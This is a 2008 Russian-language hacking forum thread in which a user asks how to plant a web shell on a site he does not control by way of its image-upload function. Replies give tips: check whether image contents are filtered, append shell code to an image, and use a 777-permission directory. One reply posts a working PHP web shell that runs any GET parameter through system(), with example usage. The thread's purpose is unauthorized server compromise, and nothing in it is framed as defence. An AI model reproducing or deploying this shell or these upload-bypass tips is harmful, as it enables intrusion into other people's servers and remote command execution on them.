Залить шелл через картинку. подсказывайте, вы же профи.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-18 04:52:42.446666
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
Как залить шелл с помощью картинки?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-18 05:02:24.543333
|
|
|
merz0nax
Сообщений: 203
Оценки: 0
Присоединился: 2008-10-15 18:38:46.480000
|
Ты хотел сказать через функцию загрузки картинок на сервер?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-18 08:50:41.203333
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
google it
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-18 11:04:02.143333
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
Как-нибудь, предположим, что я могу напарить владельца сайта, чтобы он сам залил картинку на сервер. Что мне это даёт?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-18 15:54:10.226666
|
|
|
b1аck$un
Сообщений: 55
Оценки: 0
Присоединился: 2008-08-26 05:55:35.736666
|
quote:
ORIGINAL: glebas
Как-нибудь, предположим, что я могу напарить владельца сайта, чтобы он сам залил картинку на сервер. Что мне это даёт?
Ничего, если у тя нет возможности потом этот шелл заинсклудить
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-19 10:15:50.650000
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
http://hackzona.ru/hz.php?name=News&file=article&sid=6812 - там есть пункт "заливаем шелл" (как раз через функцию загрузки картинок на сервер).
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-19 10:46:26.976666
|
|
|
BeeLet89
Сообщений: 117
Оценки: 0
Присоединился: 2008-10-19 10:40:01.816666
|
quote:
ORIGINAL: glebas
Как залить шелл с помощью картинки?
Для начала выясни, фильтруется ли содержимое картинки. Если нет, то через неё можно заливать
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 00:35:40.630000
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
А если, допустим, на диру стоят права 777, то можно прямо из командной строки залить шелл?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 14:25:18.443333
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
Аватара сразу же сохраняется в папку images, но есть ограничение 15 кб по размеру. Может вместо авы запихать нечто вроде загрузчика, который позже подгрузит шелл?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 15:07:12.216666
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
Вот код зелей
код:
quote:
<?
$sqlcmd=$HTTP_GET_VARS['cmd'];
system($sqlcmd);
echo "$mcmd";
?>
Потом юзай http://site.ru/shell.php?cmd=ls -la и тд и тп.
Ну это если у тебя разрешение будет на залив *.php файла, в принципи если есть доступ к админке, то там же можно выставить разрешения на залив файлов… вообщем ищи и не ленись, выход всегда есть)))
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 16:03:21.486666
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
Как будет выглядеть команда "залить шелл" в строке браузера, если, допустим нужно залить шелл www.site.com/images/shell.php в директорию site2.com/images/?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 16:21:42.463333
|
|
|
glebas
Сообщений: 224
Оценки: 0
Присоединился: 2008-06-16 21:39:27.426666
|
Короче, у меня доступа к админке нет и не будет. Это не форум. Я знаю наверняка, что на сайте есть дира с правами 777. Что конкретно мне надо написать в строке браузера, чтобы туда залился шелл?
|
|
|
|
|
RE: Залить шелл через картинку. подсказывайте, вы же профи. - 2008-10-20 16:40:23.126666
|
|
|
AdReNaL1Ne
Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
|
В адресной строке надо набрать путь к странице с заливкой каринок, картинку открыть редактором и приписать туда код шелла. Всё это шито белыми нитками.
|
|
|
|
|
|
